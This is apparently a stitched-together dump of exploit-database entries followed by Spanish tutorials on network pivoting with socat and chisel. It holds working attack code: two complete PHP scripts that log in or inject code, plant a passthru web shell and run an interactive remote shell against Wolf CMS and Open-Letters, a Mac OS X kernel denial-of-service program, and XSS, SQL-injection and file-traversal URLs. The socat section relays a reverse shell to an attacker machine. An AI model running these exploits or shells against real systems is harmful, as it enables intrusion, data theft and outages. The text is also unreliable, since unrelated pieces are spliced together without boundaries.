consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, 
policies, deface websites, hack into databases or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com   	- www.vuln-lab.com			       		- www.evolution-sec.com
Contact:    admin@vulnerability-lab.com 	- research@vulnerability-lab.com 	       		- admin@evolution-sec.com
Section:    magazine.vulnerability-db.com	- vulnerability-lab.com/contact.php		       	- evolution-sec.com/contact
Social:	    twitter.com/#!/vuln_lab 		- facebook.com/VulnerabilityLab 	       		- youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php	- vulnerability-lab.com/rss/rss_upcoming.php   		- vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php  	- vulnerability-lab.com/list-of-bug-bounty-programs.php	- vulnerability-lab.com/register/

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to 
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by 
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website 
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact 
(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.

				Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]



-- 
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
CONTACT: research@vulnerability-lab.com
PGP KEY: http://www.vulnerability-lab.com/keys/admin@vulnerability-lab.com%280x198E9928%29.txt
            
Document Title:
===============
Wifi Drive Pro v1.2 iOS - File Include Web Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1447


Release Date:
=============
2015-03-13


Vulnerability Laboratory ID (VL-ID):
====================================
1447


Common Vulnerability Scoring System:
====================================
6.3


Product & Service Introduction:
===============================
This app lets you use your iphone, iPad or iPod Touch as a wireless USB drive through which you can download, save and view documents and files.
Using the app you can transfer files from your PC or Mac either wirelessly or through a USB port and carry your files wherever you go.

(Copy of the Vendor Homepage: https://itunes.apple.com/en/app/wifi-drive-pro/id579582610 )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Core Research Team discovered file include web vulnerability in the official Wifi Drive Pro v1.2 iOS mobile application.


Vulnerability Disclosure Timeline:
==================================
2015-03-13: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Mindspeak Software
Product: Wifi Drive Pro - iOS Mobile Web Application 1.2


Exploitation Technique:
=======================
Local


Severity Level:
===============
High


Technical Details & Description:
================================
A local file include web vulnerability has been discovered in the official Mindspeak Software - Wifi Drive Pro v1.2 iOS mobile web-application.
The local file include web vulnerability allows remote attackers to unauthorized include local file/path requests or system specific path commands 
to compromise the mobile web-application.

The web vulnerability is located in the `filename` value of the `file upload` module. Remote attackers are able to inject own files with malicious 
`filename` values in the `file upload` POST method request to compromise the mobile web-application. The local file/path include execution occcurs in 
the index file dir listing of the wifi interface. The attacker is able to inject the local file include request by usage of the `wifi interface` 
in connection with the vulnerable file upload POST method request. 

Remote attackers are also able to exploit the filename issue in combination with persistent injected script codes to execute different malicious 
attack requests. The attack vector is located on the application-side of the wifi service and the request method to inject is POST. 

The security risk of the local file include web vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.4. 
Exploitation of the local file include web vulnerability requires no user interaction or privileged web-application user account. Successful exploitation 
of the local file include web vulnerability results in mobile application compromise or connected device component compromise.

Request Method(s):
				[+] [POST]

Vulnerable Module(s):
				[+] File Upload

Vulnerable Parameter(s):
				[+] filename

Affected Module(s):
				[+] Index File Dir Listing (http://localhost:49276/)


Proof of Concept (PoC):
=======================
The local file include web vulnerability can be exploited by local attackers without privileged application user accounts or user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.

PoC: GET
http://localhost:49276//%3C./[LOCAL FILE INCLUDE VULNERABILITY!]%3E/2.png


PoC: Vulnerable Source
<p><a href="..">..</a><br>
<a href="68-2.png">68-2.png</a>		(    24.3 Kb, 2015-03-09 14:57:29 +0000)<br>
<a href="/%3C./[LOCAL FILE INCLUDE VULNERABILITY!]%3E/2.png"></%3C./[LOCAL FILE INCLUDE VULNERABILITY!]%3E/2.png</a>	(     0.5 Kb, 2015-03-09 14:57:48 +0000)<br />
</p><form action="" method="post" enctype="multipart/form-data" name="form1" id="form1"><label>upload file<input type="file" name="file" id="file" /></label>
<label><input type="submit" name="button" id="button" value="Submit" /></label></form></body></html></iframe></a></p>


--- PoC Session Logs [POST] (Inject)---
Status: 200[OK]
POST http://localhost:49276/ 
Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Größe des Inhalts[846] Mime Type[application/x-unknown-content-type]
   Request Header:
      Host[localhost:49276]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://localhost:49276/]
      Connection[keep-alive]
   POST-Daten:
      POST_DATA[-----------------------------28140821932238
Content-Disposition: form-data; name="file"; filename="%3C./[LOCAL FILE INCLUDE VULNERABILITY!]%3E/2.png"
Content-Type: image/png


Reference(s):
http://localhost:49276/
http://localhost:49276//%3C./


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure validation of the filename value in the upload POST method request. Restrict the filename input and 
disallow special chars. Ensure that not multiple file extensions are loaded in the filename value to prevent arbitrary file upload attacks.
Encode the output in the file dir index list with the vulnerable name value to prevent an application-side injection attacks.


Security Risk:
==============
The security risk of the local file include web vulnerability in the upload POST method request is estimated as high. (CVSS 6.3)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed 
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable 
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab 
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for 
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, 
policies, deface websites, hack into databases or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com   	- www.vuln-lab.com			       		- www.evolution-sec.com
Contact:    admin@vulnerability-lab.com 	- research@vulnerability-lab.com 	       		- admin@evolution-sec.com
Section:    magazine.vulnerability-db.com	- vulnerability-lab.com/contact.php		       	- evolution-sec.com/contact
Social:	    twitter.com/#!/vuln_lab 		- facebook.com/VulnerabilityLab 	       		- youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php	- vulnerability-lab.com/rss/rss_upcoming.php   		- vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php  	- vulnerability-lab.com/list-of-bug-bounty-programs.php	- vulnerability-lab.com/register/

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to 
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by 
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website 
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact 
(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.

				Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]



-- 
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
CONTACT: research@vulnerability-lab.com
PGP KEY: http://www.vulnerability-lab.com/keys/admin@vulnerability-lab.com%280x198E9928%29.txt
            
source: https://www.securityfocus.com/bid/52059/info

ButorWiki is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

ButorWiki 3.0.0 is vulnerable; other versions may also be affected. 

http://www.example.com/sso/signin?service=%22%22%3E%3Cscript%3Ealert%28%22123%20xss%22%29%3C/script%3E 
            
source: https://www.securityfocus.com/bid/52058/info

Pandora FMS is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to view files and execute local scripts in the context of the webserver process. This may aid in further attacks.

Pandora FMS 4.0.1 is vulnerable; other versions may also be affected. 

http://www.example.com/[ Path ]/index.php?sec=services&sec2=[FILE INCLUDE VULNERABILITY!] 
            
source: https://www.securityfocus.com/bid/52053/info

CMS Faethon is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

CMS Faethon 1.3.4 is vulnerable; other versions may also be affected. 

http://www.example.com/articles.php?by_author=[SQL]
http://www.example.com/article.php?id=[SQL] 
            
source: https://www.securityfocus.com/bid/52043/info

PHP is prone to a remote denial-of-service vulnerability.

An attacker can exploit this issue to exhaust available memory, denying access to legitimate users.

PHP versions prior to 5.3.9 are vulnerable. 

<?php
while (true)
{
strtotime('Monday 00:00 Europe/Paris'); // Memory leak
}
?> 
            
source: https://www.securityfocus.com/bid/52046/info

Tube Ace is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/search/?q=%22%3E%3Cscript%3Ealert%28%22pwned%22%29%3C/script%3E&channel= 
            
#####################################################################################

Title:   Oracle Outside-In DOCX File Parsing Memory Corruption

Platforms:   Windows

CVE:

Secunia:

{PRL}:   2015-04

Author:   Francis Provencher (Protek Research Lab’s)

Website:   http://www.protekresearchlab.com/

Twitter:   @ProtekResearch

#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) POC

#####################################################################################

===============
1) Introduction
===============

 

Oracle Outside In Technology provides software developers with a comprehensive solution to access, transform, and control the contents of over 500 unstructured file formats. From the latest office suites, such as Microsoft Office 2007, to specialty formats and legacy files, Outside In Technology provides software developers with the tools to transform unstructured files into controllable information.

(http://www.oracle.com/us/technologies/embedded/025613.htm)

#####################################################################################

============================
2) Report Timeline
============================

2015-02-17: Francis Provencher from Protek Research Lab’s found the issue;
2015-02-18: Oracle Security Alerts confirmed the issue;
2015-04-15: Oracle release a Patch for this issue.

#####################################################################################

============================
3) Technical details
============================

The vulnerability is caused due to a certain value in a document, which can be exploited to corrupt memory via a specially crafted document.

Successful exploitation may allow execution of arbitrary code.

#####################################################################################

===========

4) POC

===========

http://protekresearchlab.com/exploits/PRL-2015-04.docx
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/36788.docx
            
source: https://www.securityfocus.com/bid/52026/info

LEPTON is prone to multiple input-validation vulnerabilities, including:

1. A cross-site scripting vulnerability
2. An SQL-injection vulnerability
3. A local file-include vulnerability
4. Multiple HTML-injection vulnerabilities

Exploiting these issues could allow an attacker to execute arbitrary script and PHP code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

LEPTON 1.1.3 is vulnerable; other versions may also be affected. 

http://www.example.com/admins/login/forgot/index.php?message=%3Cscript%3Ealert%28document.cookie%29;%3C/scrip t%3E 
            
<?php
/*
 
  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /        
  / XXXXXX /
 (________(          
  `------'
  
 Exploit Title   : Wolf CMS Arbitrary File Upload Exploit
 Date            : 22 April 2015
 Exploit Author  : CWH Underground
 Discovered By   : ZeQ3uL
 Site            : www.2600.in.th
 Vendor Homepage : https://www.wolfcms.org/
 Software Link   : https://bitbucket.org/wolfcms/wolf-cms-downloads/downloads/wolfcms-0.8.2.zip
 Version         : 0.8.2
   
####################
SOFTWARE DESCRIPTION
####################
   
Wolf CMS is a content management system and is Free Software published under the GNU General Public License v3. 
Wolf CMS is written in the PHP programming language. Wolf CMS is a fork of Frog CMS.
   
#######################################
VULNERABILITY: Arbitrary File Upload
#######################################
    
This exploit a file upload vulnerability found in Wolf CMS 0.8.2, and possibly prior. Attackers can abuse the
upload feature in order to upload a malicious PHP file into the application with authenticated user, which results in arbitrary remote code execution.

The vulnerability was found on File Manager Function (Enabled by default), which provides interfaces to manage files from the administration. 

In this simple example, there are no restrictions made regarding the type of files allowed for uploading. 
Therefore, an attacker can upload a PHP shell file with malicious code that can lead to full control of a victim server. 
Additionally, the uploaded file can be moved to the root directory, meaning that the attacker can access it through the Internet.
   
/wolf/plugins/file_manager/FileManagerController.php (LINE: 302-339)
-----------------------------------------------------------------------------
// Clean filenames
        $filename = preg_replace('/ /', '_', $_FILES['upload_file']['name']);
        $filename = preg_replace('/[^a-z0-9_\-\.]/i', '', $filename);

        if (isset($_FILES)) {
            $file = $this->_upload_file($filename, FILES_DIR . '/' . $path . '/', $_FILES['upload_file']['tmp_name'], $overwrite);

            if ($file === false)
                Flash::set('error', __('File has not been uploaded!'));
        }
-----------------------------------------------------------------------------

#####################
Disclosure Timeline
#####################

[04/04/2015] - Issue reported to Developer Team
[08/04/2015] - Discussed for fixing the issue
[16/04/2015] - Issue reported to http://seclists.org/oss-sec/2015/q2/210
[22/04/2015] - Public disclosure

#####################################################
EXPLOIT
#####################################################
  
*/
 
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 50);
 
function http_send($host, $packet)
{
    if (!($sock = fsockopen($host, 80)))
        die("\n[-] No response from {$host}:80\n");
  
    fputs($sock, $packet);
    return stream_get_contents($sock);
}
 
print "\n+---------------------------------------+";
print "\n| WolfCMS Arbitrary File Upload Exploit |";
print "\n+---------------------------------------+\n";
  
if ($argc < 5)
{
    print "\nUsage......: php $argv[0] <host> <path> <user> <pass>\n";
    print "\nExample....: php $argv[0] localhost /wolfcms test password\n";
    die();
}
 
$host = $argv[1];
$path = $argv[2];
$user = $argv[3];
$pass = $argv[4];

   print "\n  ,--^----------,--------,-----,-------^--,   \n";
   print "  | |||||||||   `--------'     |          O   \n";
   print "  `+---------------------------^----------|   \n";
   print "    `\_,-------, _________________________|   \n";
   print "      / XXXXXX /`|     /                      \n";
   print "     / XXXXXX /  `\   /                       \n";
   print "    / XXXXXX /\______(                        \n";
   print "   / XXXXXX /                                 \n";
   print "  / XXXXXX /   .. CWH Underground Hacking Team ..  \n";
   print " (________(                                   \n";
   print "  `------'                                    \n";

$login = "login[username]={$user}&login[password]={$pass}&login[redirect]=/wolfcms/?/admin/";
$packet  = "POST {$path}/?/admin/login/login HTTP/1.1\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: PHPSESSID=cwh\r\n";
$packet .= "Content-Length: ".strlen($login)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n{$login}"; 
   
$response = http_send($host, $packet);

 if (!preg_match_all("/Set-Cookie: ([^;]*);/i", $response, $sid)) die("\n[-] Session ID not found!\n");

$packet  = "GET {$path}/?/admin/plugin/file_manager HTTP/1.1\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: {$sid[1][2]}\r\n";
$packet .= "Connection: close\r\n\r\n";
$response=http_send($host, $packet);

if (!preg_match_all("/csrf_token\" type=\"hidden\" value=\"(.*?)\" \/>/i", $response, $token)) die("\n[-] The username/password is incorrect!\n");
print "\n[+] Login Successfully !!\n";
sleep(2);
print "\n[+] Retrieving The Upload token !!\n";
print "[+] The token is: {$token[1][4]}\n";

$payload  = "--o0oOo0o\r\n";
$payload .= "Content-Disposition: form-data; name=\"csrf_token\"\r\n\r\n";
$payload .= "{$token[1][4]}\r\n";
$payload .= "--o0oOo0o\r\n";
$payload .= "Content-Disposition: form-data; name=\"upload_file\"; filename=\"shell.php\"\r\n";
$payload .= "Content-Type: application/octet-stream\r\n\r\n";
$payload .= "<?php error_reporting(0); print(___); passthru(base64_decode(\$_SERVER[HTTP_CMD]));\r\n";
$payload .= "--o0oOo0o--\r\n";

$packet  = "POST {$path}/?/admin/plugin/file_manager/upload HTTP/1.1\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: {$sid[1][2]}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=o0oOo0o\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";
     
http_send($host, $packet);

$packet  = "GET {$path}/public/shell.php HTTP/1.1\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";
     
while(1)
{
    print "\nWolf-shell# ";
    if (($cmd = trim(fgets(STDIN))) == "exit") break;
    $response = http_send($host, sprintf($packet, base64_encode($cmd)));
    preg_match('/___(.*)/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
}

################################################################################################################
# Greetz      : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2
################################################################################################################
?>
            
Vulnerability title: Arbitrary File Retrieval + Deletion In New Atlanta BlueDragon CFChart Servlet
CVE: CVE-2014-5370
Vendor: New Atlanta
Product: BlueDragon CFChart Servlet
Affected version: 7.1.1.17759
Fixed version: 7.1.1.18527
Reported by: Mike Westmacott
Details:

The CFChart servlet of BlueDragon (component com.naryx.tagfusion.cfm.cfchartServlet) is vulnerable to arbitrary file retrieval due to a directory traversal vulnerability. In certain circumstances the retrieved file is also deleted.

Exploit:

In order to retrieve a file from a vulnerable server use the following URL in a web browser and intercept the response from the server:


http://TARGETHOST/cfchart.cfchart?..\..\..\..\..\..\..\..\..\..\TARGETFILE

The browser will display a broken image, however the HTTP response will contain the file’s contents.

Further details at:

https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-5370/

Copyright:
Copyright (c) Portcullis Computer Security Limited 2015, All rights reserved worldwide. Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of Portcullis Computer Security Limited.

Disclaimer:
The information herein contained may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. In no event shall the author/distributor (Portcullis Computer Security Limited) be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information.
            
/*
 * 2015, Maxime Villard, CVE-2015-1100
 * Local DoS caused by a missing limit check in the fat loader of the Mac OS X
 * Kernel.
 *
 *  $ gcc -o Mac-OS-X_Fat-DoS Mac-OS-X_Fat-DoS.c
 *  $ ./Mac-OS-X_Fat-DoS BINARY-NAME
 *
 * Obtained from: http://m00nbsd.net/garbage/Mac-OS-X_Fat-DoS.c
 * Analysis:      http://m00nbsd.net/garbage/Mac-OS-X_Fat-DoS.txt
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <spawn.h>
#include <unistd.h>
#include <err.h>
#include <mach-o/fat.h>
#include <sys/stat.h>

#define MAXNUM (4096)
#define MAXNUM0 (OSSwapBigToHostInt32(MAXNUM))

void CraftBinary(char *name)
{
  struct fat_header fat_header;
  struct fat_arch *arches;
  size_t i;
  int fd;

  memset(&fat_header, 0, sizeof(fat_header));
  fat_header.magic = FAT_MAGIC;
  fat_header.nfat_arch = 4096;

  if ((arches = calloc(MAXNUM0, sizeof(struct fat_arch))) == NULL)
    err(-1, "calloc");
  for (i = 0; i < MAXNUM0; i++)
    arches[i].cputype = CPU_TYPE_I386;

  if ((fd = open(name, O_CREAT|O_RDWR)) == -1)
    err(-1, "open");
  if (write(fd, &fat_header, sizeof(fat_header)) == -1)
    err(-1, "write");
  if (write(fd, arches, sizeof(struct fat_arch) * MAXNUM0) == -1)
    err(-1, "write");
  if (fchmod(fd, S_IXUSR) == -1)
    err(-1, "fchmod");
  close(fd);
  free(arches);
}

void SpawnBinary(char *name)
{
  cpu_type_t cpus[] = { CPU_TYPE_HPPA, 0 };
  char *argv[] = { "Crazy Horse", NULL };
  char *envp[] = { NULL };
  posix_spawnattr_t attr;  
  size_t set = 0;
  int ret;

  if (posix_spawnattr_init(&attr) == -1)
    err(-1, "posix_spawnattr_init");
  if (posix_spawnattr_setbinpref_np(&attr, 2, cpus, &set) == -1)
    err(-1, "posix_spawnattr_setbinpref_np");
  fprintf(stderr, "----------- Goodbye! -----------\n");
  ret = posix_spawn(NULL, name, NULL, &attr, argv, envp);
  fprintf(stderr, "Hum, still alive. You are lucky today! ret = %d\n", ret);
}

int main(int argc, char *argv[])
{
  if (argc != 2) {
    printf("Usage: %s BINARY-NAME\n", argv[0]);
  } else {
    CraftBinary(argv[1]);
    SpawnBinary(argv[1]);
  }
}
            
<?php
  
/*
OutPut:
#[+] Author: TUNISIAN CYBER
#[+] Script coded BY: Egidio Romano aka EgiX
#[+] Title: Open-Letters Remote PHP Code Injection Vulnerability
#[+] Date: 19-04-2015
#[+] Vendor: http://www.open-letters.de/
#[+] Type: WebAPP
#[+] Tested on: KaliLinux (Debian)
#[+] CVE:
#[+] Twitter: @TCYB3R
#[+] Egix's Contact: n0b0d13s[at]gmail[dot]com
#[+] Proof of concept: http://i.imgur.com/TNKV8Mt.png
OL-shell> 
  
*/
  
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
  
function http_send($host, $packet)
{
    if (!($sock = fsockopen($host, 80)))
        die( "\n[-] No response from {$host}:80\n");
  
    fwrite($sock, $packet);
    return stream_get_contents($sock);
}
  
print "#[+] Author: TUNISIAN CYBER\n";
print "#[+] Script coded BY: Egidio Romano aka EgiX\n";
print "#[+] Title: Open-Letters Remote PHP Code Injection Vulnerability\n";
print "#[+] Date: 19-04-2015\n";
print "#[+] Vendor: http://www.open-letters.de/\n";
print "#[+] Type: WebAPP\n";
print "#[+] Tested on: KaliLinux (Debian)\n";
print "#[+] CVE:\n";
print "#[+] Twitter: @TCYB3R\n";
print "#[+] Egix's Contact: n0b0d13s[at]gmail[dot]com\n";
print "#[+] Proof of concept: http://i.imgur.com/TNKV8Mt.png";
  
if ($argc < 3)
{
    print "\nUsage......: php $argv[0] <host> <path>";
    print "\nExample....: php $argv[0] localhost /";
    print "\nExample....: php $argv[0] localhost /zenphoto/\n";
    die();
}
  
$host = $argv[1];
$path = $argv[2];
  
$exploit = "foo=<?php error_reporting(0);print(_code_);passthru(base64_decode(\$_SERVER[HTTP_CMD]));die; ?>";
$packet  = "POST {$path}external_scripts/tinymce/plugins/ajaxfilemanager/ajax_create_folder.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($exploit)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n{$exploit}";
  
http_send($host, $packet);
  
$packet  = "GET {$path}external_scripts/tinymce/plugins/ajaxfilemanager/inc/data.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";
  
while(1)
{
    print "\nOL-shell> ";
    if (($cmd = trim(fgets(STDIN))) == "exit") break;
    preg_match("/_code_(.*)/s", http_send($host, sprintf($packet, base64_encode($cmd))), $m) ?
    print $m[1] : die("\n[-] Exploit failed!\n");
}
  
?>
            

Socat es una herramienta que nos permite crear comunicaciones bidireccionales. Se le conoce como el netcat con esteroides, ya que es una herramienta tan completa que es casi imposible verla entera, por lo que vamos a centrarnos en los puntos más útiles para pivoting.

Índice:

  • Introducción
  • Redirecciones

Introducción

Socat es una herramienta para sistemas Linux, aunque también tiene ciertos binarios para Windows, pero no son muy comunes, de todas formas para descargar ambos binarios los links son los siguientes:

  • Linux (32 y 64 Bits)
  • Windows (64 Bits)

La estructura de socat es muy sencilla, sin embargo la sintaxis puede parecer compleja al principio:

socat [opciones] <dirección origen> <dirección destino>

La sintaxis para las direcciones es:

<protocolo>:<ip>:<puerto>

El «laboratorio» en el que vamos a ver su funcionamiento es el siguiente:

  • 4 Equipos
    • Kali –> Mi equipo de atacante
      • IP: 192.168.10.10
    • Windows 7 de 64 Bits
      • IP: 192.168.10.40 y 192.168.20.40 –> 2 Interfaces de Red
    • Debian 1
      • IP: 192.168.20.20 y 192.168.30.10 –> 2 Interfaces de Red
    • Debian 2
      • IP: 192.168.30.20
pivoting con socat laboratorio

Redirecciones

Para practicar y ver como hacer redirecciones vamos a intentar enviarnos una Reverse Shell desde el Debian 2 (192.168.30.20) y Kali (192.168.10.10):

Primero nos ponemos en escucha desde nuestro kali, para tenerlo desde un principio listo:

image 140

Siguiendo el diagrama, la máquina con la que Kali tiene comunicación es el Windows 7, por lo que preparamos socat en esta máquina:

image 141

socat tcp-l:443,fork,reuseaddr tcp:192.168.10.10.443

Vamos a explicar el comando:

  • tcp-l:443 –> TCP-L es la abreviatura de TCP-LISTEN, escribiendo TCP-L:<puerto> nos ponemos en escucha desde ese puerto.
  • fork –> Indicamos que socat pueda aceptar más de una conexión.
  • reuseaddr –> permite reutilizar el puerto después de la finalización del programa

fork y reuseaddr se suelen usar siempre que nos pongamos en escucha con socat.

  • tcp:192.168.10.10:443 –> recordando que socat maneja una estructura de <origen> <destino>, en este caso estamos indicando que el destino es el puerto 443 de la dirección 192.168.10.10.

Conociendo los argumentos del comando usado a nivel conceptual básicamente estamos diciendo que todo lo que reciba el equipo Windows por el puerto 443 lo envíe al puerto 443 del Kali, que es donde estamos en escucha.

Con esto listo, vamos a la máquina con la que Windows tiene comunicación (además del Kali), allí, también vamos a ejecutar socat usando el mismo concepto:

image 142

El comando al fin y al cabo es el mismo, todo lo que reciba el Debian por el puerto 443, lo mandaré al puerto 443 del equipo Windows. Donde el equipo Windows todo lo que reciba lo mandará al puerto 443 del Kali. De esta forma, y con todo esta estructura ya montada, si desde el Debian 2 nos enviamos una Shell al puerto 443 del Debian 1, obtendremos la Reverse Shell en el kali:

image 143
image 144

Si nos damos cuenta, obtenemos la conexión desde la IP del Windows, todo gracias a las redirecciones. Además, la Shell es totalmente funcional:

image 145

Esto es un ejemplo de redirecciones para que nos llegue una Reverse Shell, sin embargo, también podemos usar socat para por ejemplo, redirecciones internas. Es decir, imaginémonos la situación donde yo tengo un servidor web corriendo en mi kali, pero solo accesible de forma interna, podría tunelizarlo a otro puerto usando socat:

Desde el Windows el Servidor Web de mi Kali no es accesible:

image 146

Pero dentro de nuestro kali podemos hacer una redirección:

image 147

De esta forma, estamos abriendo el puerto 8080 poniéndonos en escucha, y todo lo que recibamos desde este puerto, lo redirigimos a nuestro puerto 80 local.

Con esto, si intentamos desde el Windows acceder al 8080:

image 148

Vemos que podemos acceder al servidor 80, el cual a pesar de solo estar abierto de forma interna, podemos acceder a él.

Hasta ahora la dirección IP no ha cambiado, siempre ha sido 127.0.0.1 cuando hemos apuntado a algún sitio, sin embargo, socat nos permite colocar cualquier IP.

Ejemplo:

image 149

De esta forma le estamos diciendo que además de ponernos en escucha en el puerto 777, todo lo que se reciba a este puerto, se mande al puerto 80 del Kali (ahora está accesible), donde está el servidor web:

image 150

Y vemos que accedemos sin problemas desde el puerto 777 local.

Y hasta aquí las funcionalidades de socat que nos puede ser muy útil para pivoting. Socat es una gran y compleja herramienta, aquí solo hemos visto la parte enfocada a redireccionamiento de conexiones. Veremos más cositas en otros posts. Y conforme aprenda más sobre Pivoting con Socat, también se irá agregando.

Chisel es una herramienta super útil para usar tanto en máquinas Windows como Linux. Nos permite de forma muy cómoda prácticamente obtener las mismas funciones que SSH (en el aspecto de Port Forwarding).

Índice

  • Introducción
  • Local Port Forwarding
  • Remote Port Forwarding
  • Dynamic Port Forwarding

Introducción

Se puede descargar desde su Repositorio Oficial. Ahí podemos encontrar los diferentes paquetes para los distintos sistemas, tanto Windows como Linux:

image 115

En este caso el «laboratorio» es el siguiente:

  • 3 Equipos
    • Kali –> Mi equipo de atacante
      • IP: 192.168.10.10
    • Windows 7 de 32 Bits
      • IP: 192.168.10.30 y 192.168.20.30 –> 2 Interfaces de Red
    • Debian –> Servidor Web y SSH – Puerto 22 y 80 activados
      • IP: 192.168.20.20 y 192.168.30.10 –> 2 Interfaces de Red (aunque la segunda para este post es irrelevante)
pivoting chisel laboratorio 1

Como Chisel también es una herramienta que sirve en Windows, vamos a mezclar ambos sistemas, ya que es totalmente compatible.

Primero de todo descargamos las versiones correspondientes de chisel tanto para la máquina Kali como para la máquina Windows, ya que Chisel funciona mediante una arquitectura cliente-servidor. Una vez descargado nos aseguramos de que funcione:

image 116
image 117

Una vez tenemos todo listo, vamos a ver las posibilidades que nos ofrece Chisel. Realmente, con esta herramienta podemos simular y hacer todos los forwardings que SSH puede, es decir:

  • Local Port Forwarding
  • Remote Port Forwarding
  • Dynamic Port Forwarding

Y todo sin la necesidad de SSH, lo que nos permite prácticamente poder usar Chisel en casi cualquier situación de forma que no dependamos de este protocolo. Además, de forma conceptual, todos los forwardings funcionan de la misma forma que en SSH.

Local Port Forwarding

Sabiendo que la arquitectura es cliente-servidor, y que estamos ante el Local Port Forwarding, tenemos que establecer el servidor, en este caso, en la máquina Windows. Para ello, la sintaxis es bastante sencilla:

chisel server -p <puerto>

Tenemos que establecer un puerto el cual será donde chisel funcione y el cliente posteriormente se conecte, por lo que conociendo esto, yo voy a establecer el servidor en el puerto 1234:

image 118

